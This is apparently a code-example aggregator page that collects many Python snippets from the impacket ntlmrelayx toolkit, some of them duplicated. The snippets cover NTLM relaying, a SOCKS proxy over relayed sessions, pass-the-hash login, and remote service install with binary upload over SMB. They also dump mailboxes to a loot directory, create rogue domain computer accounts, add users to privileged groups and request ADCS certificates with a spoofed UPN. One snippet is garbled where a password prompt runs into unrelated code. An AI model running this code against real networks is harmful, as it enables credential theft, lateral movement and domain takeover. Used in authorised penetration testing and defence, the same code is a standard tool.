예제 #1
0
    def sendNegotiate(self,negotiateMessage):
        #Check if server wants auth
        self.session.request('GET', self.path)
        res = self.session.getresponse()
        res.read()
        if res.status != 401:
            LOG.info('Status code returned: %d. Authentication does not seem required for URL' % res.status)
        try:
            if 'NTLM' not in res.getheader('WWW-Authenticate'):
                LOG.error('NTLM Auth not offered by URL, offered protocols: %s' % res.getheader('WWW-Authenticate'))
                return False
        except (KeyError, TypeError):
            LOG.error('No authentication requested by the server for url %s' % self.targetHost)
            return False

        #Negotiate auth
        negotiate = base64.b64encode(negotiateMessage)
        headers = {'Authorization':'NTLM %s' % negotiate}
        self.session.request('GET', self.path ,headers=headers)
        res = self.session.getresponse()
        res.read()
        try:
            serverChallengeBase64 = re.search('NTLM ([a-zA-Z0-9+/]+={0,2})', res.getheader('WWW-Authenticate')).group(1)
            serverChallenge = base64.b64decode(serverChallengeBase64)
            challenge = NTLMAuthChallenge()
            challenge.fromString(serverChallenge)
            return challenge
        except (IndexError, KeyError, AttributeError):
            LOG.error('No NTLM challenge returned from server')
예제 #2
0
def activeConnectionsWatcher(server):
    while True:
        # This call blocks until there is data, so it doesn't loop endlessly
        target, port, scheme, userName, client, data = activeConnections.get()
        # ToDo: Careful. Dicts are not thread safe right?
        if (target in server.activeRelays) is not True:
            server.activeRelays[target] = {}
        if (port in server.activeRelays[target]) is not True:
            server.activeRelays[target][port] = {}

        if (userName in server.activeRelays[target][port]) is not True:
            LOG.info('SOCKS: Adding %s@%s(%s) to active SOCKS connection. Enjoy' % (userName, target, port))
            server.activeRelays[target][port][userName] = {}
            # This is the protocolClient. Needed because we need to access the killConnection from time to time.
            # Inside this instance, you have the session attribute pointing to the relayed session.
            server.activeRelays[target][port][userName]['protocolClient'] = client
            server.activeRelays[target][port][userName]['inUse'] = False
            server.activeRelays[target][port][userName]['data'] = data
            # Just for the CHALLENGE data, we're storing this general
            server.activeRelays[target][port]['data'] = data
            # Let's store the protocol scheme, needed be used later when trying to find the right socks relay server to use
            server.activeRelays[target][port]['scheme'] = scheme
        else:
            LOG.info('Relay connection for %s at %s(%d) already exists. Discarding' % (userName, target, port))
            client.killConnection()
예제 #3
0
    def do_kerberos_login(self,line):
        if self.smb is None:
            LOG.error("No connection open")
            return
        l = line.split(' ')
        username = ''
        password = ''
        domain = ''
        if len(l) > 0:
           username = l[0]
        if len(l) > 1:
           password = l[1]

        if username.find('/') > 0:
           domain, username = username.split('/')

        if domain == '':
            LOG.error("Domain must be specified for Kerberos login")
            return

        if password == '' and username != '':
            from getpass import getpass
            password = getpass("Password:"******"GUEST Session Granted")
        else:
            LOG.info("USER Session Granted")
        self.loggedIn = True
예제 #4
0
    def SmbComNegotiate(self, connId, smbServer, SMBCommand, recvPacket):
        connData = smbServer.getConnectionData(connId, checkStatus = False)
        if self.config.mode.upper() == 'REFLECTION':
            self.targetprocessor = TargetsProcessor(singleTarget='SMB://%s:445/' % connData['ClientIP'])

        #TODO: Check if a cache is better because there is no way to know which target was selected for this victim
        # except for relying on the targetprocessor selecting the same target unless a relay was already done
        self.target = self.targetprocessor.getTarget()

        LOG.info("SMBD-%s: Received connection from %s, attacking target %s://%s" % (connId, connData['ClientIP'],
                                                                                     self.target.scheme, self.target.netloc))

        try:
            if recvPacket['Flags2'] & smb.SMB.FLAGS2_EXTENDED_SECURITY == 0:
                extSec = False
            else:
                if self.config.mode.upper() == 'REFLECTION':
                    # Force standard security when doing reflection
                    LOG.debug("Downgrading to standard security")
                    extSec = False
                    recvPacket['Flags2'] += (~smb.SMB.FLAGS2_EXTENDED_SECURITY)
                else:
                    extSec = True

            #Init the correct client for our target
            client = self.init_client(extSec)
        except Exception as e:
            LOG.error("Connection against target %s://%s FAILED: %s" % (self.target.scheme, self.target.netloc, str(e)))
            self.targetprocessor.logTarget(self.target)
        else:
            connData['SMBClient'] = client
            connData['EncryptionKey'] = client.getStandardSecurityChallenge()
            smbServer.setConnectionData(connId, connData)

        return self.origSmbComNegotiate(connId, smbServer, SMBCommand, recvPacket)
예제 #5
0
    def __init__(self, server_address=('0.0.0.0', 1080), handler_class=SocksRequestHandler):
        LOG.info('SOCKS proxy started. Listening at port %d', server_address[1] )

        self.activeRelays = {}
        self.socksPlugins = {}
        self.restAPI = None
        self.activeConnectionsWatcher = None
        self.supportedSchemes = []
        SocketServer.TCPServer.allow_reuse_address = True
        SocketServer.TCPServer.__init__(self, server_address, handler_class)

        # Let's register the socksplugins plugins we have
        from impacket.examples.ntlmrelayx.servers.socksplugins import SOCKS_RELAYS

        for relay in SOCKS_RELAYS:
            LOG.info('%s loaded..' % relay.PLUGIN_NAME)
            self.socksPlugins[relay.PLUGIN_SCHEME] = relay
            self.supportedSchemes.append(relay.PLUGIN_SCHEME)

        # Let's create a timer to keep the connections up.
        self.__timer = RepeatedTimer(KEEP_ALIVE_TIMER, keepAliveTimer, self)

        # Let's start our RESTful API
        self.restAPI = Thread(target=webService, args=(self, ))
        self.restAPI.daemon = True
        self.restAPI.start()

        # Let's start out worker for active connections
        self.activeConnectionsWatcher = Thread(target=activeConnectionsWatcher, args=(self, ))
        self.activeConnectionsWatcher.daemon = True
        self.activeConnectionsWatcher.start()
예제 #6
0
    def createService(self, handle, share, path):
        LOG.info("Creating service %s on %s....." % (self.__service_name, self.connection.getRemoteHost()))

        # First we try to open the service in case it exists. If it does, we remove it.
        try:
            resp =  scmr.hROpenServiceW(self.rpcsvc, handle, self.__service_name+'\x00')
        except Exception as e:
            if str(e).find('ERROR_SERVICE_DOES_NOT_EXIST') >= 0:
                # We're good, pass the exception
                pass
            else:
                raise e
        else:
            # It exists, remove it
            scmr.hRDeleteService(self.rpcsvc, resp['lpServiceHandle'])
            scmr.hRCloseServiceHandle(self.rpcsvc, resp['lpServiceHandle'])

        # Create the service
        command = '%s\\%s' % (path, self.__binary_service_name)
        try: 
            resp = scmr.hRCreateServiceW(self.rpcsvc, handle,self.__service_name + '\x00', self.__service_name + '\x00',
                                         lpBinaryPathName=command + '\x00', dwStartType=scmr.SERVICE_DEMAND_START)
        except:
            LOG.critical("Error creating service %s on %s" % (self.__service_name, self.connection.getRemoteHost()))
            raise
        else:
            return resp['lpServiceHandle']
예제 #7
0
def activeConnectionsWatcher(server):
    while True:
        # This call blocks until there is data, so it doesn't loop endlessly
        target, port, scheme, userName, client, data = activeConnections.get()
        # ToDo: Careful. Dicts are not thread safe right?
        if server.activeRelays.has_key(target) is not True:
            server.activeRelays[target] = {}
        if server.activeRelays[target].has_key(port) is not True:
            server.activeRelays[target][port] = {}

        if server.activeRelays[target][port].has_key(userName) is not True:
            LOG.info('SOCKS: Adding %s@%s(%s) to active SOCKS connection. Enjoy' % (userName, target, port))
            server.activeRelays[target][port][userName] = {}
            # This is the protocolClient. Needed because we need to access the killConnection from time to time.
            # Inside this instance, you have the session attribute pointing to the relayed session.
            server.activeRelays[target][port][userName]['protocolClient'] = client
            server.activeRelays[target][port][userName]['inUse'] = False
            server.activeRelays[target][port][userName]['data'] = data
            # Do we have admin access in this connection?
            try:
                LOG.debug("Checking admin status for user %s" % str(userName))
                isAdmin = client.isAdmin()
                server.activeRelays[target][port][userName]['isAdmin'] = isAdmin
            except Exception as e:
                # Method not implemented
                server.activeRelays[target][port][userName]['isAdmin'] = 'N/A'
            LOG.debug("isAdmin returned: %s" % server.activeRelays[target][port][userName]['isAdmin'])
            # Just for the CHALLENGE data, we're storing this general
            server.activeRelays[target][port]['data'] = data
            # Let's store the protocol scheme, needed be used later when trying to find the right socks relay server to use
            server.activeRelays[target][port]['scheme'] = scheme
        else:
            LOG.info('Relay connection for %s at %s(%d) already exists. Discarding' % (userName, target, port))
            client.killConnection()
예제 #8
0
    def do_login_hash(self,line):
        if self.smb is None:
            LOG.error("No connection open")
            return
        l = line.split(' ')
        domain = ''
        if len(l) > 0:
           username = l[0]
        if len(l) > 1:
           hashes = l[1]
        else:
           LOG.error("Hashes needed. Format is lmhash:nthash")
           return

        if username.find('/') > 0:
           domain, username = username.split('/')

        lmhash, nthash = hashes.split(':')

        self.smb.login(username, '', domain,lmhash=lmhash, nthash=nthash)
        self.username = username
        self.lmhash = lmhash
        self.nthash = nthash

        if self.smb.isGuestSession() > 0:
            LOG.info("GUEST Session Granted")
        else:
            LOG.info("USER Session Granted")
        self.loggedIn = True
예제 #9
0
 def run(self):
     while True:
         mtime = os.stat(self.targetprocessor.filename).st_mtime
         if mtime > self.lastmtime:
             LOG.info('Targets file modified - refreshing')
             self.lastmtime = mtime
             self.targetprocessor.readTargets()
         time.sleep(1.0)
예제 #10
0
 def install(self):
     if self.connection.isGuestSession():
         LOG.critical("Authenticated as Guest. Aborting")
         self.connection.logoff()
         del self.connection
     else:
         fileCopied = False
         serviceCreated = False
         # Do the stuff here
         try:
             # Let's get the shares
             shares = self.getShares()
             self.share = self.findWritableShare(shares)
             if self.share is None:
                 return False
             self.copy_file(self.__exeFile ,self.share,self.__binary_service_name)
             fileCopied = True
             svcManager = self.openSvcManager()
             if svcManager != 0:
                 serverName = self.connection.getServerName()
                 if self.share.lower() == 'admin$':
                     path = '%systemroot%'
                 else:
                     if serverName != '':
                        path = '\\\\%s\\%s' % (serverName, self.share)
                     else:
                        path = '\\\\127.0.0.1\\' + self.share 
                 service = self.createService(svcManager, self.share, path)
                 serviceCreated = True
                 if service != 0:
                     # Start service
                     LOG.info('Starting service %s.....' % self.__service_name)
                     try:
                         scmr.hRStartServiceW(self.rpcsvc, service)
                     except:
                         pass
                     scmr.hRCloseServiceHandle(self.rpcsvc, service)
                 scmr.hRCloseServiceHandle(self.rpcsvc, svcManager)
                 return True
         except Exception as e:
             LOG.critical("Error performing the installation, cleaning up: %s" %e)
             LOG.debug("Exception", exc_info=True)
             try:
                 scmr.hRControlService(self.rpcsvc, service, scmr.SERVICE_CONTROL_STOP)
             except:
                 pass
             if fileCopied is True:
                 try:
                     self.connection.deleteFile(self.share, self.__binary_service_name)
                 except:
                     pass
             if serviceCreated is True:
                 try:
                     scmr.hRDeleteService(self.rpcsvc, service)
                 except:
                     pass
         return False
예제 #11
0
    def run(self):
        #Default action: Search the INBOX
        targetBox = self.config.mailbox
        result, data = self.client.select(targetBox,True) #True indicates readonly
        if result != 'OK':
            LOG.error('Could not open mailbox %s: %s' % (targetBox, data))
            LOG.info('Opening mailbox INBOX')
            targetBox = 'INBOX'
            result, data = self.client.select(targetBox,True) #True indicates readonly
        inboxCount = int(data[0])
        LOG.info('Found %s messages in mailbox %s' % (inboxCount, targetBox))
        #If we should not dump all, search for the keyword
        if not self.config.dump_all:
            result, rawdata = self.client.search(None, 'OR', 'SUBJECT', '"%s"' % self.config.keyword, 'BODY', '"%s"' % self.config.keyword)
            #Check if search worked
            if result != 'OK':
                LOG.error('Search failed: %s' % rawdata)
                return
            dumpMessages = []
            #message IDs are separated by spaces
            for msgs in rawdata:
                dumpMessages += msgs.split(' ')
            if self.config.dump_max != 0 and len(dumpMessages) > self.config.dump_max:
                dumpMessages = dumpMessages[:self.config.dump_max]
        else:
            #Dump all mails, up to the maximum number configured
            if self.config.dump_max == 0 or self.config.dump_max > inboxCount:
                dumpMessages = list(range(1, inboxCount+1))
            else:
                dumpMessages = list(range(1, self.config.dump_max+1))

        numMsgs = len(dumpMessages)
        if numMsgs == 0:
            LOG.info('No messages were found containing the search keywords')
        else:
            LOG.info('Dumping %d messages found by search for "%s"' % (numMsgs, self.config.keyword))
            for i, msgIndex in enumerate(dumpMessages):
                #Fetch the message
                result, rawMessage = self.client.fetch(msgIndex, '(RFC822)')
                if result != 'OK':
                    LOG.error('Could not fetch message with index %s: %s' % (msgIndex, rawMessage))
                    continue

                #Replace any special chars in the mailbox name and username
                mailboxName = re.sub(r'[^a-zA-Z0-9_\-\.]+', '_', targetBox)
                textUserName = re.sub(r'[^a-zA-Z0-9_\-\.]+', '_', self.username)

                #Combine username with mailboxname and mail number
                fileName = 'mail_' + textUserName + '-' + mailboxName + '_' + str(msgIndex) + '.eml'

                #Write it to the file
                with open(os.path.join(self.config.lootdir,fileName),'w') as of:
                    of.write(rawMessage[0][1])
                LOG.info('Done fetching message %d/%d' % (i+1,numMsgs))

        #Close connection cleanly
        self.client.logout()
예제 #12
0
파일: http.py 프로젝트: MrTchuss/impacket
    def skipAuthentication(self):
        # See if the user provided authentication
        data = self.socksSocket.recv(self.packetSize)
        # Get headers from data
        headerDict = self.getHeaders(data)
        try:
            creds = headerDict['authorization']
            if 'Basic' not in creds:
                raise KeyError()
            basicAuth = base64.b64decode(creds[6:])
            self.username = basicAuth.split(':')[0].upper()
            if '@' in self.username:
                # Workaround for clients which specify users with the full FQDN
                # such as ruler
                user, domain = self.username.split('@', 1)
                # Currently we only use the first part of the FQDN
                # this might break stuff on tools that do use an FQDN
                # where the domain NETBIOS name is not equal to the part
                # before the first .
                self.username = '******' % (domain.split('.')[0], user)

            # Check if we have a connection for the user
            if self.activeRelays.has_key(self.username):
                # Check the connection is not inUse
                if self.activeRelays[self.username]['inUse'] is True:
                    LOG.error('HTTP: Connection for %s@%s(%s) is being used at the moment!' % (
                        self.username, self.targetHost, self.targetPort))
                    return False
                else:
                    LOG.info('HTTP: Proxying client session for %s@%s(%s)' % (
                        self.username, self.targetHost, self.targetPort))
                    self.session = self.activeRelays[self.username]['protocolClient'].session
            else:
                LOG.error('HTTP: No session for %s@%s(%s) available' % (
                    self.username, self.targetHost, self.targetPort))
                return False

        except KeyError:
            # User didn't provide authentication yet, prompt for it
            LOG.debug('No authentication provided, prompting for basic authentication')
            reply = ['HTTP/1.1 401 Unauthorized','WWW-Authenticate: Basic realm="ntlmrelayx - provide a DOMAIN/username"','Connection: close','','']
            self.socksSocket.send(EOL.join(reply))
            return False

        # When we are here, we have a session
        # Point our socket to the sock attribute of HTTPConnection
        # (contained in the session), which contains the socket
        self.relaySocket = self.session.sock
        # Send the initial request to the server
        tosend = self.prepareRequest(data)
        self.relaySocket.send(tosend)
        # Send the response back to the client
        self.transferResponse()
        return True
예제 #13
0
 def writeRestoreData(self, restoredata, domaindn):
     output = {}
     domain = re.sub(',DC=', '.', domaindn[domaindn.find('DC='):], flags=re.I)[3:]
     output['config'] = {'server':self.client.server.host,'domain':domain}
     output['history'] = [{'operation': 'add_domain_sync', 'data': restoredata, 'contextuser': self.username}]
     now = datetime.datetime.now()
     filename = 'aclpwn-%s.restore' % now.strftime("%Y%m%d-%H%M%S")
     # Save the json to file
     with codecs.open(filename, 'w', 'utf-8') as outfile:
         json.dump(output, outfile)
     LOG.info('Saved restore state to %s', filename)
예제 #14
0
    def run(self):
        LOG.info("Setting up HTTP Server")
        # changed to read from the interfaceIP set in the configuration
        self.server = self.HTTPServer((self.config.interfaceIp, 80), self.HTTPHandler, self.config)

        try:
             self.server.serve_forever()
        except KeyboardInterrupt:
             pass
        LOG.info('Shutting down HTTP Server')
        self.server.server_close()
예제 #15
0
    def createService(self, handle, share, path):
        LOG.info("Creating service %s on %s....." % (self.__service_name, self.connection.getRemoteHost()))

        # First we try to open the service in case it exists. If it does, we remove it.
        try:
            resp =  scmr.hROpenServiceW(self.rpcsvc, handle, self.__service_name+'\x00')
        except Exception, e:
            if str(e).find('ERROR_SERVICE_DOES_NOT_EXIST') >= 0:
                # We're good, pass the exception
                pass
            else:
                raise e
예제 #16
0
    def addComputer(self, parent, domainDumper):
        """
        Add a new computer. Parent is preferably CN=computers,DC=Domain,DC=local, but can
        also be an OU or other container where we have write privileges
        """
        global alreadyAddedComputer
        if alreadyAddedComputer:
            LOG.error('New computer already added. Refusing to add another')
            return

        # Random password
        newPassword = ''.join(random.choice(string.ascii_letters + string.digits + string.punctuation) for _ in range(15))

        # Get the domain we are in
        domaindn = domainDumper.root
        domain = re.sub(',DC=', '.', domaindn[domaindn.find('DC='):], flags=re.I)[3:]

        # Random computername
        newComputer = (''.join(random.choice(string.ascii_letters) for _ in range(8)) + '$').upper()
        computerHostname = newComputer[:-1]
        newComputerDn = ('CN=%s,%s' % (computerHostname, parent)).encode('utf-8')

        # Default computer SPNs
        spns = [
            'HOST/%s' % computerHostname,
            'HOST/%s.%s' % (computerHostname, domain),
            'RestrictedKrbHost/%s' % computerHostname,
            'RestrictedKrbHost/%s.%s' % (computerHostname, domain),
        ]
        ucd = {
            'dnsHostName': '%s.%s' % (computerHostname, domain),
            'userAccountControl': 4096,
            'servicePrincipalName': spns,
            'sAMAccountName': newComputer,
            'unicodePwd': '"{}"'.format(newPassword).encode('utf-16-le')
        }
        LOG.debug('New computer info %s', ucd)
        LOG.info('Attempting to create computer in: %s', parent)
        res = self.client.add(newComputerDn.decode('utf-8'), ['top','person','organizationalPerson','user','computer'], ucd)
        if not res:
            # Adding computers requires LDAPS
            if self.client.result['result'] == RESULT_UNWILLING_TO_PERFORM and not self.client.server.ssl:
                LOG.error('Failed to add a new computer. The server denied the operation. Try relaying to LDAP with TLS enabled (ldaps) or escalating an existing account.')
            else:
                LOG.error('Failed to add a new computer: %s' % str(self.client.result))
            return False
        else:
            LOG.info('Adding new computer with username: %s and password: %s result: OK' % (newComputer, newPassword))
            alreadyAddedComputer = True
            # Return the SAM name
            return newComputer
예제 #17
0
    def getTarget(self, choose_random=False):
        if len(self.candidates) > 0:
            if choose_random is True:
                return random.choice(self.candidates)
            else:
                return self.candidates.pop()
        else:
            if len(self.originalTargets) > 0:
                self.candidates = [x for x in self.originalTargets if x not in self.finishedAttacks]
            else:
                #We are here, which means all the targets are already exhausted by the client
                LOG.info("All targets processed!")

        return self.candidates.pop()
예제 #18
0
    def getShares(self):
        # Setup up a DCE SMBTransport with the connection already in place
        LOG.info("Requesting shares on %s....." % (self.connection.getRemoteHost()))
        try: 
            self._rpctransport = transport.SMBTransport(self.connection.getRemoteHost(), self.connection.getRemoteHost(),filename = r'\srvsvc', smb_connection = self.connection)
            dce_srvs = self._rpctransport.get_dce_rpc()
            dce_srvs.connect()

            dce_srvs.bind(srvs.MSRPC_UUID_SRVS)
            resp = srvs.hNetrShareEnum(dce_srvs, 1)
            return resp['InfoStruct']['ShareInfo']['Level1']
        except:
            LOG.critical("Error requesting shares on %s, aborting....." % (self.connection.getRemoteHost()))
            raise
예제 #19
0
    def do_open(self,line):
        l = line.split(' ')
        port = 445
        if len(l) > 0:
           host = l[0]
        if len(l) > 1:
           port = int(l[1])


        if port == 139:
            self.smb = SMBConnection('*SMBSERVER', host, sess_port=port)
        else:
            self.smb = SMBConnection(host, host, sess_port=port)

        dialect = self.smb.getDialect()
        if dialect == SMB_DIALECT:
            LOG.info("SMBv1 dialect used")
        elif dialect == SMB2_DIALECT_002:
            LOG.info("SMBv2.0 dialect used")
        elif dialect == SMB2_DIALECT_21:
            LOG.info("SMBv2.1 dialect used")
        else:
            LOG.info("SMBv3.0 dialect used")

        self.share = None
        self.tid = None
        self.pwd = ''
        self.loggedIn = False
        self.password = None
        self.lmhash = None
        self.nthash = None
        self.username = None
예제 #20
0
 def openSvcManager(self):
     LOG.info("Opening SVCManager on %s....." % self.connection.getRemoteHost())
     # Setup up a DCE SMBTransport with the connection already in place
     self._rpctransport = transport.SMBTransport(self.connection.getRemoteHost(), self.connection.getRemoteHost(),filename = r'\svcctl', smb_connection = self.connection)
     self.rpcsvc = self._rpctransport.get_dce_rpc()
     self.rpcsvc.connect()
     self.rpcsvc.bind(scmr.MSRPC_UUID_SCMR)
     try:
         resp = scmr.hROpenSCManagerW(self.rpcsvc)
     except:
         LOG.critical("Error opening SVCManager on %s....." % self.connection.getRemoteHost())
         raise Exception('Unable to open SVCManager')
     else:
         return resp['lpScHandle']
예제 #21
0
 def addUserToGroup(self, userDn, domainDumper, groupDn):
     global alreadyEscalated
     # For display only
     groupName = groupDn.split(',')[0][3:]
     userName = userDn.split(',')[0][3:]
     # Now add the user as a member to this group
     res = self.client.modify(groupDn, {
         'member': [(ldap3.MODIFY_ADD, [userDn])]})
     if res:
         LOG.info('Adding user: %s to group %s result: OK' % (userName, groupName))
         LOG.info('Privilege escalation succesful, shutting down...')
         alreadyEscalated = True
         _thread.interrupt_main()
     else:
         LOG.error('Failed to add user to %s group: %s' % (groupName, str(self.client.result)))
예제 #22
0
 def copy_file(self, src, tree, dst):
     LOG.info("Uploading file %s" % dst)
     if isinstance(src, str):
         # We have a filename
         fh = open(src, 'rb')
     else:
         # We have a class instance, it must have a read method
         fh = src
     f = dst
     pathname = string.replace(f,'/','\\')
     try:
         self.connection.putFile(tree, pathname, fh.read)
     except:
         LOG.critical("Error uploading file %s, aborting....." % dst)
         raise
     fh.close()
예제 #23
0
    def initConnection(self):
        rpctransport = transport.DCERPCTransportFactory(self.stringbinding)

        if self.serverConfig.rpc_use_smb:
            LOG.info(
                "Authenticating to smb://%s:%d with creds provided in cmdline"
                % (self.target.netloc, self.serverConfig.rpc_smb_port))
            rpctransport.set_credentials(self.serverConfig.smbuser, self.serverConfig.smbpass, self.serverConfig.smbdomain, \
                self.serverConfig.smblmhash, self.serverConfig.smbnthash)
            rpctransport.set_dport(self.serverConfig.rpc_smb_port)

        self.session = MYDCERPC_v5(rpctransport)
        self.session.set_auth_level(rpcrt.RPC_C_AUTHN_LEVEL_PKT_PRIVACY)
        self.session.connect()

        return True
예제 #24
0
 def findWritableShare(self, shares):
     # Check we can write a file on the shares, stop in the first one
     for i in shares['Buffer']:
         if i['shi1_type'] == srvs.STYPE_DISKTREE or i['shi1_type'] == srvs.STYPE_SPECIAL:
            share = i['shi1_netname'][:-1]
            try:
                self.connection.createDirectory(share,'BETO')
            except:
                # Can't create, pass
                LOG.critical("share '%s' is not writable." % share)
                pass
            else:
                LOG.info('Found writable share %s' % share)
                self.connection.deleteDirectory(share,'BETO')
                return str(share)
     return None
 def findWritableShare(self, shares):
     # Check we can write a file on the shares, stop in the first one
     for i in shares['Buffer']:
         if i['shi1_type'] == srvs.STYPE_DISKTREE or i['shi1_type'] == srvs.STYPE_SPECIAL:
            share = i['shi1_netname'][:-1]
            try:
                self.connection.createDirectory(share,'BETO')
            except:
                # Can't create, pass
                LOG.critical("share '%s' is not writable." % share)
                pass
            else:
                LOG.info('Found writable share %s' % share)
                self.connection.deleteDirectory(share,'BETO')
                return str(share)
     return None
예제 #26
0
 def copy_file(self, src, tree, dst):
     LOG.info("Uploading file %s" % dst)
     if isinstance(src, str):
         # We have a filename
         fh = open(src, 'rb')
     else:
         # We have a class instance, it must have a read method
         fh = src
     f = dst
     pathname = string.replace(f,'/','\\')
     try:
         self.connection.putFile(tree, pathname, fh.read)
     except:
         LOG.critical("Error uploading file %s, aborting....." % dst)
         raise
     fh.close()
예제 #27
0
    def SmbComNegotiate(self, connId, smbServer, SMBCommand, recvPacket):
        connData = smbServer.getConnectionData(connId, checkStatus = False)

        if self.config.disableMulti:
            if self.config.mode.upper() == 'REFLECTION':
                self.targetprocessor = TargetsProcessor(singleTarget='SMB://%s:445/' % connData['ClientIP'])

            self.target = self.targetprocessor.getTarget(multiRelay=False)
            if self.target is None:
                LOG.info('SMBD-%s: Connection from %s controlled, but there are no more targets left!' %
                         (connId, connData['ClientIP']))
                return [smb.SMBCommand(smb.SMB.SMB_COM_NEGOTIATE)], None, STATUS_BAD_NETWORK_NAME

            LOG.info("SMBD-%s: Received connection from %s, attacking target %s://%s" % (connId, connData['ClientIP'],
                                                                                         self.target.scheme, self.target.netloc))

            try:
                if recvPacket['Flags2'] & smb.SMB.FLAGS2_EXTENDED_SECURITY == 0:
                    extSec = False
                else:
                    if self.config.mode.upper() == 'REFLECTION':
                        # Force standard security when doing reflection
                        LOG.debug("Downgrading to standard security")
                        extSec = False
                        recvPacket['Flags2'] += (~smb.SMB.FLAGS2_EXTENDED_SECURITY)
                    else:
                        extSec = True

                # Init the correct client for our target
                client = self.init_client(extSec)
            except Exception as e:
                LOG.error(
                    "Connection against target %s://%s FAILED: %s" % (self.target.scheme, self.target.netloc, str(e)))
                self.targetprocessor.logTarget(self.target)
            else:
                connData['SMBClient'] = client
                connData['EncryptionKey'] = client.getStandardSecurityChallenge()
                smbServer.setConnectionData(connId, connData)

        else:
            if (recvPacket['Flags2'] & smb.SMB.FLAGS2_EXTENDED_SECURITY) != 0:
                if self.config.mode.upper() == 'REFLECTION':
                    # Force standard security when doing reflection
                    LOG.debug("Downgrading to standard security")
                    recvPacket['Flags2'] += (~smb.SMB.FLAGS2_EXTENDED_SECURITY)

        return self.origSmbComNegotiate(connId, smbServer, SMBCommand, recvPacket)
예제 #28
0
    def getTarget(self, choose_random=False):
        if len(self.candidates) > 0:
            if choose_random is True:
                return random.choice(self.candidates)
            else:
                return self.candidates.pop()
        else:
            if len(self.originalTargets) > 0:
                self.candidates = [
                    x for x in self.originalTargets
                    if x not in self.finishedAttacks
                ]
            else:
                #We are here, which means all the targets are already exhausted by the client
                LOG.info("All targets processed!")

        return self.candidates.pop()
예제 #29
0
    def run(self):
        LOG.info("Setting up HTTP Server")

        if self.config.listeningPort:
            httpport = self.config.listeningPort
        else:
            httpport = 80

        # changed to read from the interfaceIP set in the configuration
        self.server = self.HTTPServer((self.config.interfaceIp, httpport), self.HTTPHandler, self.config)

        try:
             self.server.serve_forever()
        except KeyboardInterrupt:
             pass
        LOG.info('Shutting down HTTP Server')
        self.server.server_close()
예제 #30
0
 def sendAuth(self, authenticateMessageBlob, serverChallenge=None):
     if unpack('B', str(authenticateMessageBlob)[:1])[0] == SPNEGO_NegTokenResp.SPNEGO_NEG_TOKEN_RESP:
         respToken2 = SPNEGO_NegTokenResp(authenticateMessageBlob)
         token = respToken2['ResponseToken']
     else:
         token = authenticateMessageBlob
     auth = base64.b64encode(token)
     headers = {'Authorization':'NTLM %s' % auth}
     self.session.request('GET', self.path,headers=headers)
     res = self.session.getresponse()
     if res.status == 401:
         return None, STATUS_ACCESS_DENIED
     else:
         LOG.info('HTTP server returned error code %d, treating as a succesful login' % res.status)
         #Cache this
         self.lastresult = res.read()
         return None, STATUS_SUCCESS
예제 #31
0
 def sendAuth(self, authenticateMessageBlob, serverChallenge=None):
     if unpack('B', authenticateMessageBlob[:1])[0] == SPNEGO_NegTokenResp.SPNEGO_NEG_TOKEN_RESP:
         respToken2 = SPNEGO_NegTokenResp(authenticateMessageBlob)
         token = respToken2['ResponseToken']
     else:
         token = authenticateMessageBlob
     auth = base64.b64encode(token)
     headers = {'Authorization':'NTLM %s' % auth}
     self.session.request('GET', self.path,headers=headers)
     res = self.session.getresponse()
     if res.status == 401:
         return None, STATUS_ACCESS_DENIED
     else:
         LOG.info('HTTP server returned error code %d, treating as a successful login' % res.status)
         #Cache this
         self.lastresult = res.read()
         return None, STATUS_SUCCESS
    def run(self):
        LOG.info("Setting up WCF Server")

        if self.config.listeningPort:
            wcfport = self.config.listeningPort
        else:
            wcfport = 9389  # ADWS

        # changed to read from the interfaceIP set in the configuration
        self.server = self.WCFServer((self.config.interfaceIp, wcfport), self.WCFHandler, self.config)

        try:
            self.server.serve_forever()
        except KeyboardInterrupt:
            pass
        LOG.info('Shutting down WCF Server')
        self.server.server_close()
예제 #33
0
 def addUserToGroup(self, userDn, domainDumper, groupDn):
     global alreadyEscalated
     # For display only
     groupName = groupDn.split(',')[0][3:]
     userName = userDn.split(',')[0][3:]
     # Now add the user as a member to this group
     res = self.client.modify(groupDn,
                              {'member': [(ldap3.MODIFY_ADD, [userDn])]})
     if res:
         LOG.info('Adding user: %s to group %s result: OK' %
                  (userName, groupName))
         LOG.info('Privilege escalation succesful, shutting down...')
         alreadyEscalated = True
         _thread.interrupt_main()
     else:
         LOG.error('Failed to add user to %s group: %s' %
                   (groupName, str(self.client.result)))
예제 #34
0
    def generate_csr(self, key, CN, altName):
        LOG.info("Generating CSR...")
        req = crypto.X509Req()
        req.get_subject().CN = CN

        if altName:
            req.add_extensions([
                crypto.X509Extension(
                    b"subjectAltName", False,
                    b"otherName:1.3.6.1.4.1.311.20.2.3;UTF8:%b" %
                    altName.encode())
            ])

        req.set_pubkey(key)
        req.sign(key, "sha256")

        return crypto.dump_certificate_request(crypto.FILETYPE_PEM, req)
예제 #35
0
def activeConnectionsWatcher(server):
    while True:
        # This call blocks until there is data, so it doesn't loop endlessly
        target, port, scheme, userName, client, data = activeConnections.get()
        # ToDo: Careful. Dicts are not thread safe right?
        if (target in server.activeRelays) is not True:
            server.activeRelays[target] = {}
        if (port in server.activeRelays[target]) is not True:
            server.activeRelays[target][port] = {}

        if (userName in server.activeRelays[target][port]) is not True:
            LOG.info(
                'SOCKS: Adding %s@%s(%s) to active SOCKS connection. Enjoy' %
                (userName, target, port))
            server.activeRelays[target][port][userName] = {}
            # This is the protocolClient. Needed because we need to access the killConnection from time to time.
            # Inside this instance, you have the session attribute pointing to the relayed session.
            server.activeRelays[target][port][userName][
                'protocolClient'] = client
            server.activeRelays[target][port][userName]['inUse'] = False
            server.activeRelays[target][port][userName]['data'] = data
            # Just for the CHALLENGE data, we're storing this general
            server.activeRelays[target][port]['data'] = data
            # Let's store the protocol scheme, needed be used later when trying to find the right socks relay server to use
            server.activeRelays[target][port]['scheme'] = scheme

            # Default values in case somebody asks while we're gettting the data
            server.activeRelays[target][port][userName]['isAdmin'] = 'N/A'
            # Do we have admin access in this connection?
            try:
                LOG.debug("Checking admin status for user %s" % str(userName))
                isAdmin = client.isAdmin()
                server.activeRelays[target][port][userName][
                    'isAdmin'] = isAdmin
            except Exception as e:
                # Method not implemented
                server.activeRelays[target][port][userName]['isAdmin'] = 'N/A'
                pass
            LOG.debug("isAdmin returned: %s" %
                      server.activeRelays[target][port][userName]['isAdmin'])
        else:
            LOG.info(
                'Relay connection for %s at %s(%d) already exists. Discarding'
                % (userName, target, port))
            client.killConnection()
예제 #36
0
    def _run(self):
        key = crypto.PKey()
        key.generate_key(crypto.TYPE_RSA, 4096)

        if self.username in ELEVATED:
